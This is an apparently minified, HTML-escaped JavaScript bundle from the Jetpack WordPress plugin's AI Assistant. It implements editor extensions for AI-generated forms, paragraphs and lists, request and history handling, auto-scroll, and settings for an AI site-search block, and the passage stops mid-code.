l.mt{currentListOfValidBlocks=[];originalVariationName=null;constructor(e){super(e,[]),this.behavior=&quot;action&quot;,this.feature=&quot;jetpack-form-ai-extension&quot;,this.startOpen=!0,this.hideOnBlockFocus=!1,this.adjustPosition=!1,this.supports={file_upload_field:1}}setContent(e,t=!1){const{replaceInnerBlocks:s,updateBlockAttributes:o}=(0,n.dispatch)(&quot;core/block-editor&quot;),l=(0,r.parse)(e).find(e=&gt;&quot;jetpack/contact-form&quot;===e.name);l&amp;&amp;l.attributes?.variationName&amp;&amp;(this.originalVariationName=l.attributes.variationName);const c=e.replace(/&lt;!-- (\/)*wp:jetpack\/(contact-)*form ({[^}]*} )*(\/)*--&gt;/g,&quot;&quot;),u=(0,i.d)(c),d=(0,r.parse)(u).filter(e=&gt;e.isValid&amp;&amp;![&quot;core/freeform&quot;,&quot;core/missing&quot;,&quot;core/html&quot;].includes(e.name));let p=!1;if(d.length&lt;this.currentListOfValidBlocks.length)d.push(this.currentListOfValidBlocks[this.currentListOfValidBlocks.length-1]);else if(d.length===this.currentListOfValidBlocks.length&amp;&amp;d.length&gt;0){const e=d[d.length-1],t=this.currentListOfValidBlocks[d.length-1];p=!(0,a.w)(e,t)}if(d.length&gt;0&amp;&amp;(d.length!==this.currentListOfValidBlocks.length||p)&amp;&amp;(s(this.clientId,d),this.currentListOfValidBlocks=d),t){if(this.originalVariationName){const e=this.getBlock();e&amp;&amp;e.attributes.variationName!==this.originalVariationName&amp;&amp;o(this.clientId,{variationName:this.originalVariationName})}const e=e=&gt;&quot;jetpack/button&quot;===e.name||&quot;core/button&quot;===e.name&amp;&amp;&quot;button&quot;===e.attributes?.tagName,t=d.filter(e),n=d.some(e=&gt;&quot;jetpack/form-step-navigation&quot;===e.name);if(this.currentListOfValidBlocks=this.currentListOfValidBlocks||[],t.length&gt;1){let r=0;this.currentListOfValidBlocks=this.currentListOfValidBlocks.filter(s=&gt;!e(s)||(r++,r===t.length)),s(this.clientId,this.currentListOfValidBlocks)}else 0!==t.length||n||s(this.clientId,[...this.currentListOfValidBlocks,(0,r.createBlock)(&quot;core/button&quot;,{tagName:&quot;button&quot;,type:&quot;submit&quot;,text:__(&quot;Submit&quot;,&quot;jetpack&quot;),lock:{remove:!0}})]);this.currentListOfValidBlocks=[]}}getExtensionInputPlaceholder(){if(!this.getContent()){const e=[__(&quot;Example: a contact form with name, email, and message fields&quot;,&quot;jetpack&quot;),__(&quot;Example: a pizza ordering form with name, address, phone number and toppings&quot;,&quot;jetpack&quot;),__(&quot;Example: a survey form with multiple choice questions&quot;,&quot;jetpack&quot;)];return e[Math.floor(Math.random()*e.length)]}const e=[__(&quot;Example: remove email field&quot;,&quot;jetpack&quot;),__(&quot;Example: make email optional&quot;,&quot;jetpack&quot;),__(&quot;Example: add message field and make it required&quot;,&quot;jetpack&quot;)];return e[Math.floor(Math.random()*e.length)]}getContent(){const e=this.getBlock();if(!e)return&quot;&quot;;const{innerBlocks:t}=e;return t?.length?t.reduce((e,t)=&gt;e+(0,r.serialize)(t)+&quot;\n\n&quot;,&quot;&quot;):&quot;&quot;}onSuggestion(e){this.setContent(e)}onDone(e){this.setContent(e,!0)}}},71295(e,t,s){&quot;use strict&quot;;s.d(t,{j:()=&gt;o});var r=s(10821),n=s(27571);function o(e){return!!(0,r.Bi)()&amp;&amp;!!n.L.includes(e)}},94987(e,t,s){&quot;use strict&quot;;s.d(t,{g:()=&gt;n});var r=s(52998);class n extends r.mt{constructor(e){super(e,[&quot;listItem&quot;]),this.isChildBlock=!0}}},53269(e,t,s){&quot;use strict&quot;;s.d(t,{b:()=&gt;n});var r=s(52998);class n extends r.mt{constructor(e){super(e,[&quot;list&quot;])}}},125(e,t,s){&quot;use strict&quot;;s.d(t,{d:()=&gt;i});var r=s(96865),n=s(74997),o=s(52998);const a=new r.OO({fixes:[&quot;paragraph&quot;]});class i extends o.mt{constructor(e){super(e,[&quot;paragraph&quot;])}getContent(){const e=this.getBlock();return t=(0,n.getBlockContent)(e),a.render({content:t});var t}}},50797(e,t,s){&quot;use strict&quot;;var r=s(96865),n=s(85985),o=s(94715),a=s(29491),i=s(47143),l=s(86087),c=s(52619),u=s(13022),d=s(10067),p=s.n(d),h=s(32735),m=s(35317),g=s(4e4),f=s(96306),b=s(37931),v=s(21785),k=s(71295),y=s(10790);const x=p()(&quot;jetpack-ai-assistant:extensions:with-ai-extension&quot;),j={&quot;core/heading&quot;:&quot;heading&quot;,&quot;core/paragraph&quot;:&quot;paragraph&quot;,&quot;core/list-item&quot;:&quot;list-item&quot;,&quot;core/list&quot;:&quot;list&quot;,&quot;jetpack/contact-form&quot;:&quot;form-ai&quot;},w={group:&quot;block&quot;},_=(0,a.createHigherOrderComponent)(e=&gt;{function t(t){const{clientId:s,isSelected:a,name:d,isSelectionEnabled:p}=t,m=(0,l.useRef)(null),k=(0,l.useRef)(0),_=(0,l.useRef)(null),C=(0,l.useRef)(&quot;&quot;),A=(0,l.useRef)(null),S=(0,l.useRef)(document),E=(0,l.useRef)([]),[N,T]=(0,l.useState)(&quot;&quot;),[B,P]=(0,l.useState)(null),I=(0,l.useRef)(null),M=(0,l.useRef)(null),L=(0,l.useRef)(null),R=(0,l.useRef)(null),{undo:D}=(0,i.useDispatch)(&quot;core/editor&quot;),{postId:F}=(0,i.useSelect)(e=&gt;{const{getCurrentPostId:t}=e(&quot;core/editor&quot;);return{postId:t()}},[]),{id:O,className:z}=(0,o.useBlockProps)({className:(0,u.A)({[d?.replace?.(&quot;/&quot;,&quot;-&quot;)]:!0})}),{increaseRequestsCount:U,dequeueAsyncRequest:H,requireUpgrade:q}=(0,r.yM)(),{snapToBottom:V,enableAutoScroll:$,disableAutoScroll:G}=(0,h.A)({current:S?.current?.getElementById(O)},void 0,!0),W=(0,l.useCallback)(()=&gt;{A.current?.focus()},[]),{tracks:Z}=(0,n.st)(),{onSuggestion:J,onDone:K,getContent:Y,getExtensionInputPlaceholder:Q,behavior:X,isChildBlock:ee,feature:te,adjustPosition:se,startOpen:re,hideOnBlockFocus:ne,supports:oe}=(0,l.useMemo)(()=&gt;(0,v.Q)(d,s),[d,s]),ae=Q(),[ie,le]=(0,l.useState)(re),ce=(0,l.useCallback)(()=&gt;{le(e=&gt;!e)},[]),ue=(0,l.useCallback)(({promptType:e,options:t})=&gt;{const s=Y(),r=j[d];return[...E.current,{role:&quot;jetpack-ai&quot;,context:{type:(0,g.p$)(e,r),content:s,request:t?.userPrompt,tone:t?.tone,language:t?.language,is_follow_up:E.current.length&gt;0,supports:oe}}]},[d,Y,oe]),de=(0,l.useCallback)(e=&gt;{const t=e||S.current.getElementById(O);t&amp;&amp;m.current&amp;&amp;t.style.setProperty(&quot;padding-bottom&quot;,`calc(${k.current+16}px + ${C.current||&quot;0px&quot;} )`,&quot;important&quot;)},[O]),pe=(0,l.useCallback)(e=&gt;{J(e),se&amp;&amp;de(),V()},[J,se,V,de]),he=(0,l.useCallback)((e,t)=&gt;{if(G(),K(e),U(),T(&quot;&quot;),Z.recordEvent(&quot;jetpack_ai_assistant_toolbar_extension_generate&quot;,{prompt_type:I.current,model:t,generation_time:null!==R.current?window?.performance?.now?.()-R.current:null}),M.current?.message){const e={role:&quot;assistant&quot;,content:Y()};if(E.current.push(M.current.message,e),E.current.length&gt;20){E.current.splice(0,E.current.length-20);const e=E.current.findIndex(e=&gt;&quot;jetpack-ai&quot;===e.role);-1!==e&amp;&amp;(E.current=E.current.slice(e),E.current[0].context={...E.current[0].context,is_follow_up:!1})}}M.current=null,setTimeout(()=&gt;{se&amp;&amp;de(),W()},100),(0,c.doAction)(&quot;jetpack_ai_assistant_generation_complete&quot;,s,d)},[G,K,U,Y,se,W,de,Z,I,s,d]),me=(0,l.useCallback)(e=&gt;{G(),T(&quot;&quot;),x(&quot;Request error&quot;,e),e.code!==r.mA&amp;&amp;e.code!==r.Or&amp;&amp;U()},[G,U]),{request:ge,stopSuggestion:fe,requestingState:be,model:ve,error:ke,reset:ye}=(0,r.o2)({onSuggestion:pe,onDone:he,onError:me,askQuestionOptions:{postId:F,feature:te}});(0,l.useEffect)(()=&gt;{L.current=be},[be]);const xe=(0,l.useCallback)((e,t)=&gt;{if(le(!0),q)return;I.current=e;const s=(0,r.MB)(e,t);s&amp;&amp;(T(s),P(s));const n=ue({promptType:e,options:t});x(&quot;Request suggestion&quot;,e,t);const o=n[n.length-1];M.current={promptType:e,options:t,humanText:s,message:o},H(),$(),R.current=window?.performance?.now?.()||null,ge(n)},[H,$,ue,ge,q]),je=(0,l.useCallback)(e=&gt;{const t={userPrompt:e};P(e),$(),xe(&quot;userPrompt&quot;,t)},[$,xe]),we=(0,l.useCallback)(()=&gt;{G(),fe(),W()},[G,fe,W]),_e=(0,l.useCallback)(()=&gt;{M.current&amp;&amp;xe(M.current.promptType,M.current.options)},[M,xe]),Ce=(0,l.useCallback)(()=&gt;{le(!1),ye(),T(&quot;&quot;),M.current=null,E.current=[]},[ye]),Ae=(0,l.useCallback)(async()=&gt;{Z.recordEvent(&quot;jetpack_ai_assistant_toolbar_extension_undo&quot;,{prompt_type:I.current,model:ve}),await D(),Ce()},[D,Ce,Z,ve,I]);(0,l.useEffect)(()=&gt;{a||Ce()},[a,Ce]),(0,l.useEffect)(()=&gt;{A.current&amp;&amp;p&amp;&amp;(S.current=A.current.ownerDocument,W())},[ie,W,p]),(0,l.useEffect)(()=&gt;{let e=S.current.getElementById(O);if(e&amp;&amp;se)return ie&amp;&amp;!_.current&amp;&amp;m.current?(C.current=e.style.paddingBottom,_.current=new ResizeObserver(([t])=&gt;{if(e=S.current.getElementById(O),k.current=t.contentRect.height,e&amp;&amp;m.current&amp;&amp;k.current&gt;0){de(e);const{marginBottom:t}=getComputedStyle(e),s=parseFloat(t);m.current.style.setProperty(&quot;margin-top&quot;,`-${k.current+s}px`,&quot;important&quot;),m.current.style.setProperty(&quot;margin-bottom&quot;,`${s+16}px`,&quot;important&quot;)}}),_.current.observe(m.current)):_.current&amp;&amp;(e.style.paddingBottom=C.current,_.current.disconnect(),_.current=null,k.current=0),()=&gt;{_.current&amp;&amp;_.current.disconnect()}},[de,se,s,_,O,ie]),(0,l.useEffect)(()=&gt;{if(ne&amp;&amp;ie){const e=S.current.getElementById(O),t=()=&gt;{[&quot;requesting&quot;,&quot;suggesting&quot;].includes(L.current)||(le(!1),e?.removeEventListener(&quot;focusin&quot;,t))};return e?.addEventListener(&quot;focusin&quot;,t),()=&gt;{e?.removeEventListener(&quot;focusin&quot;,t)}}},[ne,ie,O]);const Se=(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(e,{...t}),ie&amp;&amp;(0,y.jsx)(f.A,{customPlaceholder:ae||null,className:z,requestingState:be,requestingError:ke,wrapperRef:m,inputRef:A,action:N,blockType:d,feature:te,request:je,stopSuggestion:we,close:Ce,undo:Ae,tryAgain:_e,lastAction:B}),(0,y.jsx)(o.BlockControls,{...w,children:(0,y.jsx)(b.A,{blockType:d,onAskAiAssistant:ce,onRequestSuggestion:xe,behavior:X})})]});if(ee)return Se;const Ee={value:{[d]:{handleAskAiAssistant:ce,handleRequestSuggestion:xe}}};return(0,y.jsx)(v.B.Provider,{...Ee,children:Se})}return s=&gt;{const r=(0,m.A)(s.name);return s.clientId&amp;&amp;s.attributes&amp;&amp;r?(0,y.jsx)(t,{...s}):(0,y.jsx)(e,{...s})}},&quot;blockEditWithAiComponents&quot;);(0,c.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;jetpack/ai-assistant-support/with-ai-text-extension&quot;,function(e,t){return(0,k.j)(t)?{...e,edit:_(e.edit),supports:{...e.supports,&quot;jetpack/ai&quot;:{assistant:!0}}}:e},100)},89872(e,t,s){&quot;use strict&quot;;s.d(t,{Q:()=&gt;n,X:()=&gt;r});const r=&quot;images-alt-text&quot;,n=&quot;images-caption&quot;},4393(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(96865),n=s(47143),o=s(86087),a=s(10067),i=s.n(a),l=s(62402),c=s(64425),u=s(16597),d=s(32735);const p=i()(&quot;jetpack-ai-assistant:error&quot;),h=({attributes:e,clientId:t,content:s,tracks:a,userPrompt:i,onSuggestionDone:h,onUnclearPrompt:m,onModeration:g,requireUpgrade:f,initialRequestingState:b,contentRef:v,blockRef:k})=&gt;{const[y,x]=(0,o.useState)(!1),[j,w]=(0,o.useState)(&quot;&quot;),{updateBlockAttributes:_}=(0,n.useDispatch)(&quot;core/block-editor&quot;),{dequeueAiAssistantFeatureAsyncRequest:C,setAiAssistantFeatureRequireUpgrade:A}=(0,n.useDispatch)(&quot;wordpress-com/plans&quot;),{snapToBottom:S,enableAutoScroll:E,disableAutoScroll:N}=(0,d.A)(k,v),T=(0,n.useSelect)(e=&gt;e(&quot;core/editor&quot;).getEditedPostAttribute(&quot;title&quot;)),B=(0,n.useSelect)(e=&gt;e(&quot;core/editor&quot;).getCurrentPostId()),P=(0,o.useRef)([]),I=(0,o.useRef)(void 0),{request:M,stopSuggestion:L,handleErrorQuotaExceededError:R,requestingState:D,error:F}=(0,r.o2)({onSuggestion:e=&gt;{_(t,{content:e?.replaceAll(c.uV,&quot;&quot;)}),S()},onDone:e=&gt;{const s=e.replaceAll(c.uV,&quot;&quot;),r={role:&quot;assistant&quot;,content:s};P.current.push(I.current,r),P.current.length&gt;20&amp;&amp;P.current.splice(0,P.current.length-20),_(t,{content:s,messages:P.current}),S(),N(),h?.()},onStop:()=&gt;{S(),N(),h?.()},onError:e=&gt;{switch(e?.code){case r.cT:x(!1);break;case r.ud:x(!1),g?.();break;case r.mA:case r.AZ:x(!0);break;case r.Or:x(!1),A(!0);break;case r.L9:m?.()}},onAllErrors:e=&gt;{p(e)},initialRequestingState:b,askQuestionOptions:{postId:B,feature:&quot;ai-assistant&quot;,functions:{}}}),O=[&quot;requesting&quot;,&quot;suggesting&quot;].includes(D),z=async(n,o={})=&gt;{if(C(),f)return R(),void x(!1);if(o={retryRequest:!1,tone:l.US,...o},O)return;x(!1);let d=j;if(a.recordEvent(&quot;jetpack_ai_chat_completion&quot;,{post_id:B}),P.current=[...e.messages],I.current={},o.retryRequest)I.current=d[d.length-1];else{const a=e?.isLayoutBuldingModeEnable?(0,u.rJ)(t):(0,u.aB)();d=(0,c.jf)({generatedContent:s,allPostContent:a,postContentAbove:(0,u.b$)(t),currentPostTitle:T,options:o,userPrompt:o?.userPrompt||i,type:n,isGeneratingTitle:e.promptType===r.vE}),I.current=d.pop(),d=[...d,...P.current],d.push(I.current),w(d),e.promptType!==r.vE&amp;&amp;_(t,{promptType:n})}try{E(),await M(d)}catch(e){p(e),x(!0),N()}};return{setShowRetry:x,showRetry:y,postTitle:T,contentBefore:(0,u.b$)(t),wholeContent:(0,u.aB)(),requestingState:D,error:F,getSuggestionFromOpenAI:z,stopSuggestion:L,retryRequest:()=&gt;z(&quot;&quot;,{retryRequest:!0})}}},44732(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(3924),n=s(97999),o=s(85985);function a(){const e=(0,o.Mm)()&amp;&amp;!(0,n.isSimpleSite)(),t=e?(0,n.getMyJetpackUrl)(&quot;#/jetpack-ai&quot;):(0,r.A)(&quot;org-ai&quot;),{autosaveAndRedirect:s,isRedirecting:a}=(0,o.ZR)(t);return{productPageUrl:t,autosaveAndRedirect:s,isRedirecting:a,isMyJetpackAvailable:e}}},75956(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(90372),n=s(86087);const o=window?.Jetpack_Editor_Initial_State?.tracksUserData||null,a=parseInt(window?.Jetpack_Editor_Initial_State?.wpcomBlogId)||0,i=()=&gt;((0,n.useEffect)(()=&gt;{o&amp;&amp;r.A.initialize(o?.userid,o?.username,a?{blog_id:a}:{})},[]),r.A)},32735(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087),n=s(10067);const o=s.n(n)()(&quot;jetpack-ai-assistant:use-auto-scroll&quot;),a=(e,t,s=!1)=&gt;{const n=(0,r.useRef)(null),a=(0,r.useRef)(null),i=(0,r.useRef)(!1),l=(0,r.useRef)(!1),c=(0,r.useRef)(!1),u=(0,r.useRef)(!1),d=(0,r.useRef)({scrollPadding:&quot;&quot;,scrollMargin:&quot;&quot;}),p=(0,r.useCallback)(()=&gt;{o(&quot;enabling ignore scroll&quot;),l.current=!0},[]),h=(0,r.useCallback)(()=&gt;{i.current&amp;&amp;c.current&amp;&amp;!l.current&amp;&amp;p()},[p]),m=(0,r.useCallback)(()=&gt;{i.current=!0,l.current=!1,c.current=!1,u.current=!1,n.current?.addEventListener(&quot;scroll&quot;,h),o(&quot;enabling auto scroll&quot;)},[h]),g=(0,r.useCallback)(()=&gt;{i.current=!1,l.current=!1,c.current=!1,u.current=!1,n.current?.removeEventListener(&quot;scroll&quot;,h),a.current?.style&amp;&amp;(a.current.style.scrollPadding=d.current.scrollPadding,a.current.style.scrollMargin=d.current.scrollMargin),n.current=null,o(&quot;disabling auto scroll&quot;)},[h]),f=(0,r.useCallback)(()=&gt;{if(!i.current||l.current)return;const r=s?e?.current:t?.current?.firstElementChild?.lastElementChild;r&amp;&amp;!u.current&amp;&amp;(c.current=!0,u.current=!0,n?.current?.removeEventListener?.(&quot;scroll&quot;,h),r?.scrollIntoView({block:&quot;end&quot;,inline:&quot;end&quot;}),setTimeout(()=&gt;{u.current=!1,n?.current?.addEventListener?.(&quot;scroll&quot;,h)},200))},[e,t,s,h]),b=(0,r.useCallback)(e=&gt;{if(null==e)return null;if(&quot;BODY&quot;===e?.nodeName)return e;if(e?.ownerDocument!==document)return e.ownerDocument;const{overflow:t}=window.getComputedStyle(e);return t.split(&quot; &quot;).every(e=&gt;&quot;auto&quot;===e||&quot;scroll&quot;===e)?e:e?.parentElement?b(e?.parentElement):e},[]);return(0,r.useEffect)(()=&gt;{const t=b(e?.current?.parentElement);!n.current&amp;&amp;t&amp;&amp;(n.current=t,a.current=t instanceof HTMLElement?t:t.documentElement,d.current={scrollPadding:a.current.style.scrollPadding,scrollMargin:a.current.style.scrollMargin},i.current&amp;&amp;(a.current.style.scrollPadding=&quot;80px&quot;,a.current.style.scrollMargin=&quot;10px&quot;))},[e,b]),{snapToBottom:f,enableAutoScroll:m,disableAutoScroll:g}}},35317(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(85985);const n={&quot;jetpack/contact-form&quot;:&quot;contact-form&quot;};function o(e){const t=n[e],{isModuleActive:s}=(0,r.q7)(t);return!t||s}},76695(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c,y:()=&gt;l});var r=s(85985),n=s(47143),o=s(51609),a=s(16597),i=s(13802);function l(e){return`ai-assistant-block-${e}`}const c=()=&gt;{const{replaceBlock:e,removeBlocks:t}=(0,n.useDispatch)(&quot;core/block-editor&quot;),s=(0,n.useSelect)(e=&gt;e(&quot;core/block-editor&quot;),[]),{getSelectedBlockClientIds:c,getBlocksByClientId:u,getBlock:d,getBlockParents:p}=s,{tracks:h}=(0,r.st)();return{canTransformToAIAssistant:(0,o.useCallback)(({clientId:e,blockName:t})=&gt;{if(!d(e))return!1;if(!i.y7.includes(t))return!1;const s=p(e);if(0===s.length)return!0;const r=d(s[s.length-1]);return![&quot;core/list&quot;,&quot;core/list-item&quot;].includes(r.name)},[d,p]),transformToAIAssistant:(0,o.useCallback)(({request:s}={})=&gt;{const r=c(),n=u(r),o=(0,a.Sb)(n),[d]=n,[p,...m]=r,g={...d?.attributes||{},content:o,preTransformAction:s?.promptType},f=(0,i.rr)(d.name,g);if(s?.promptType){h.recordEvent(&quot;jetpack_editor_ai_assistant_extension_toolbar_button_click&quot;,{suggestion:s.promptType,block_type:d.name});const e={clientId:p,type:s.promptType,options:{...s.options,contentType:&quot;generated&quot;,fromExtension:!0}};localStorage.setItem(l(f.clientId),JSON.stringify(e))}else h.recordEvent(&quot;jetpack_ai_assistant_prompt_show&quot;,{block_type:d.name});e(p,f),t(m)},[u,c,t,e,h]),getSelectedBlockClientIds:c}}},4e4(e,t,s){&quot;use strict&quot;;s.d(t,{J1:()=&gt;n,K6:()=&gt;o,p$:()=&gt;i});var r=s(96865);function n(e){return{role:&quot;jetpack-ai&quot;,context:{type:&quot;ai-assistant-initial-prompt&quot;,for:i(e)}}}function o({generatedContent:e,allPostContent:t,postContentAbove:s,currentPostTitle:n,options:o,type:i,userPrompt:l,isGeneratingTitle:c}){const u=[],d=&quot;generated&quot;===o?.contentType;let p=null;switch(i){case r.im:p=n;break;case r.sn:case r.A4:case r.yy:p=s;break;case r.vE:p=t;break;case r.br:case r.fD:p=e;break;case r.eJ:case r.UA:case r.Gm:p=d?e:t;break;case r.d5:p=s;break;case r.pE:p=e||t}const h=function(e,t){return!e&amp;&amp;t&amp;&amp;t.length&gt;0?{role:&quot;jetpack-ai&quot;,context:{type:&quot;ai-assistant-relevant-content&quot;,content:t}}:null}(i===r.pE?!!e?.length:d,p);return h&amp;&amp;u.push(h),u.push({role:&quot;jetpack-ai&quot;,context:a({generatedContent:e,allPostContent:t,postContentAbove:s,currentPostTitle:n,options:o,type:i,userPrompt:l,isGeneratingTitle:c})}),u}function a({options:e,type:t,userPrompt:s,isGeneratingTitle:n}){const o=function(e,t,s){return e?&quot;title&quot;:!t||s?&quot;content&quot;:null}(n,&quot;generated&quot;===e?.contentType,e?.fromExtension||!1);return{type:i(t),...o?{subject:o}:{},...t===r.eJ&amp;&amp;e?.tone?{tone:e.tone}:{},...t===r.Gm&amp;&amp;e?.language?{language:e.language}:{},...t===r.pE&amp;&amp;s?{request:s}:{}}}function i(e,t){const s={[r.im]:&quot;ai-assistant-summary-by-title&quot;,[r.sn]:&quot;ai-assistant-continue-writing&quot;,[r.A4]:&quot;ai-assistant-simplify&quot;,[r.yy]:&quot;ai-assistant-correct-spelling&quot;,[r.vE]:&quot;ai-assistant-generate-title&quot;,[r.br]:&quot;ai-assistant-make-longer&quot;,[r.fD]:&quot;ai-assistant-make-shorter&quot;,[r.eJ]:&quot;ai-assistant-change-tone&quot;,[r.UA]:&quot;ai-assistant-summarize&quot;,[r.Gm]:&quot;ai-assistant-change-language&quot;,[r.pE]:&quot;ai-assistant-user-prompt&quot;,[r.d5]:&quot;ai-assistant-transform-list-to-table&quot;};return&quot;form-ai&quot;===t?&quot;form-ai-extension&quot;:t?`${s[e]}-${t}-extension`:s[e]}},64425(e,t,s){&quot;use strict&quot;;s.d(t,{jf:()=&gt;a,uV:()=&gt;o});var r=s(96865),n=s(4e4);r.im,r.sn,r.A4,r.yy,r.vE,r.br,r.fD,r.eJ,r.UA,r.Gm,r.pE,r.z5,r.d5;const o=&quot;````&quot;;function a({generatedContent:e,allPostContent:t,postContentAbove:s,currentPostTitle:r,options:o,type:a,userPrompt:i,isGeneratingTitle:l}){return[(0,n.J1)(a),...(0,n.K6)({generatedContent:e,allPostContent:t,postContentAbove:s,currentPostTitle:r,options:o,type:a,userPrompt:i,isGeneratingTitle:l})]}},16597(e,t,s){&quot;use strict&quot;;s.d(t,{Sb:()=&gt;l,aB:()=&gt;i,b$:()=&gt;a,rJ:()=&gt;c});var r=s(96865),n=s(74997),o=s(47143);function a(e){if(!e)return&quot;&quot;;const t=(0,o.select)(&quot;core/block-editor&quot;),s=t.getBlockIndex(e),a=t.getBlocks().slice(0,s)??[];return a?.length?(0,r.rh)({content:(0,n.serialize)(a)}):&quot;&quot;}function i(){const e=(0,o.select)(&quot;core/block-editor&quot;).getBlocks();return e?.length?(0,r.rh)({content:(0,n.serialize)(e)}):&quot;&quot;}function l(e){return e.filter(e=&gt;null!=e).map(e=&gt;(0,n.getBlockContent)(e)).join(&quot;\n\n&quot;)}function c(e){const t=(0,o.select)(&quot;core/block-editor&quot;).getBlock(e);return t?.innerBlocks?.length?l(t.innerBlocks):&quot;&quot;}},62514(e,t,s){&quot;use strict&quot;;s.d(t,{w:()=&gt;o});const r=e=&gt;{delete e.clientId;for(const t of e.innerBlocks??[])r(t);return e},n=e=&gt;r((e=&gt;JSON.parse(JSON.stringify(e)))(e));function o(e,t){const s=n(e),r=n(t);return JSON.stringify(s)===JSON.stringify(r)}},96568(e,t,s){&quot;use strict&quot;;function r(e){const t=document.createElement(&quot;div&quot;);return t.innerHTML=e,t.innerHTML}s.d(t,{d:()=&gt;r})},48499(e,t,s){&quot;use strict&quot;;s.d(t,{C:()=&gt;n});var r=s(85985);function n(e){return!0===(0,r.FB)(e).available}},13802(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;c,rr:()=&gt;l,y7:()=&gt;a});var r=s(96865),n=s(74997),o=s(54681);const a=[&quot;core/heading&quot;,&quot;core/paragraph&quot;,&quot;core/list&quot;],i=[];function l(e,t){const{content:s,...a}=t;let i=s;&quot;core/heading&quot;===e&amp;&amp;t?.level&amp;&amp;(i=i.replace(/&lt;(\/?)h\d([^&gt;]*)&gt;/g,`&lt;$1h${t.level}$2&gt;`));const l=(0,r.rh)({content:i}),c=[];return c.push({role:&quot;jetpack-ai&quot;,context:{type:&quot;ai-assistant-relevant-content&quot;,content:l}}),(0,n.createBlock)(o.name,{...a,content:l,originalContent:l,messages:c,originalMessages:c})}for(const e of a)i.push({type:&quot;block&quot;,blocks:[e],isMatch:()=&gt;a.includes(e),transform:(t,s)=&gt;{const r=(0,n.getSaveContent)(e,t,s);return l(e,{...t,content:r})}});const c={from:i}},36920(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(85985),n=s(82201),o=s(27723),a=s(10790);const __=o.__,i=()=&gt;{let e=window?.Jetpack_Editor_Initial_State?.adminUrl||&quot;&quot;;e=e.replace(/wp-admin\/\?frame-nonce=[a-z0-9]+/,&quot;wp-admin/&quot;);const t=`${e}admin.php?page=jetpack-search`,{autosaveAndRedirect:s,isRedirecting:o}=(0,r.ZR)(t);if(window?.Jetpack_AIChatBlock?.jetpackSettings?.instant_search_enabled)return null;return(0,a.jsx)(n.cb,{buttonText:__(&quot;Enable Jetpack Search&quot;,&quot;jetpack&quot;),checkoutUrl:t,className:&quot;jetpack-ai-connect-banner&quot;,description:__(&quot;You need to enable Jetpack Search so that Jetpack AI can index your site.&quot;,&quot;jetpack&quot;),goToCheckoutPage:e=&gt;{s(e)},isRedirecting:o,visible:!0,align:null,title:null,context:null})}},50443(e,t,s){&quot;use strict&quot;;s.d(t,{G:()=&gt;o,W:()=&gt;n});var r=s(27723);const __=r.__,n=__(&quot;Ask&quot;,&quot;jetpack&quot;),o=__(&quot;Ask a question about this site&quot;,&quot;jetpack&quot;)},51686(e,t,s){&quot;use strict&quot;;s.d(t,{z:()=&gt;c});var r=s(94715),n=s(56427),o=s(3582),a=s(27723),i=s(50443),l=s(10790);const __=a.__;function c({setAttributes:e,placeholder:t,showCopy:s,showFeedback:a,showSources:c}){const[u,d]=(0,o.useEntityProp)(&quot;root&quot;,&quot;site&quot;,&quot;jetpack_search_ai_prompt_override&quot;);return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(r.InspectorControls,{children:(0,l.jsx)(n.PanelBody,{title:__(&quot;Settings&quot;,&quot;jetpack&quot;),initialOpen:!1,children:(0,l.jsx)(n.TextControl,{label:__(&quot;Placeholder Text&quot;,&quot;jetpack&quot;),className:&quot;jetpack-ai-chat__ask-button-text&quot;,placeholder:i.G,onChange:t=&gt;e({placeholder:t}),value:t,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})})}),(0,l.jsxs)(r.InspectorAdvancedControls,{children:[(0,l.jsx)(n.TextareaControl,{label:__(&quot;Additional instructions&quot;,&quot;jetpack&quot;),help:__(&quot;Give Jetpack AI additional instructions for answer length, format, and tone.&quot;,&quot;jetpack&quot;),value:u,onChange:d,__nextHasNoMarginBottom:!0}),(0,l.jsx)(n.ToggleControl,{label:__(&quot;Show copy answer button.&quot;,&quot;jetpack&quot;),help:__(&quot;Allow users to easily copy the answer.&quot;,&quot;jetpack&quot;),checked:s,onChange:t=&gt;e({showCopy:t}),__nextHasNoMarginBottom:!0}),(0,l.jsx)(n.ToggleControl,{label:__(&quot;Show rating button.&quot;,&quot;jetpack&quot;),help:__(&quot;Allow users to rate the answer and give feedback.&quot;,&quot;jetpack&quot;),checked:a,onChange:t=&gt;e({showFeedback:t}),__nextHasNoMarginBottom:!0}),(0,l.jsx)(n.ToggleControl,{label:__(&quot;Show list of sources.&quot;,&quot;jetpack&quot;),help:__(&quot;Show used sources at the bottom of the answer.&quot;,&quot;jetpack&quot;),checked:c,onChange:t=&gt;e({showSources:t}),__nextHasNoMarginBottom:!0})]})]})}},32908(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(96865),n=s(94715),o=s(56427),a=s(47143),i=(s(40320),s(2274)),l=s(26247),c=s(36920),u=s(50443),d=s(51686),p=s(10790);function h({attributes:e,setAttributes:t,clientId:s}){const{askButtonLabel:h=u.W,placeholder:m=u.G,showCopy:g,showFeedback:f,showSources:b}=e,v=(0,n.useBlockProps)(),k=(0,a.useSelect)(e=&gt;e(&quot;core/block-editor&quot;).isBlockSelected(s),[s]),y=(0,l.A)();return(0,p.jsxs)(&quot;div&quot;,{...v,children:[!y&amp;&amp;(0,p.jsx)(i.A,{block:&quot;Jetpack AI Search&quot;}),(0,p.jsx)(c.A,{}),(0,p.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-chat-question-wrapper&quot;,children:[(0,p.jsx)(o.TextControl,{className:&quot;jetpack-ai-chat-question-input&quot;,placeholder:m,disabled:!0,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,p.jsx)(n.RichText,{className:&quot;wp-block-button__link 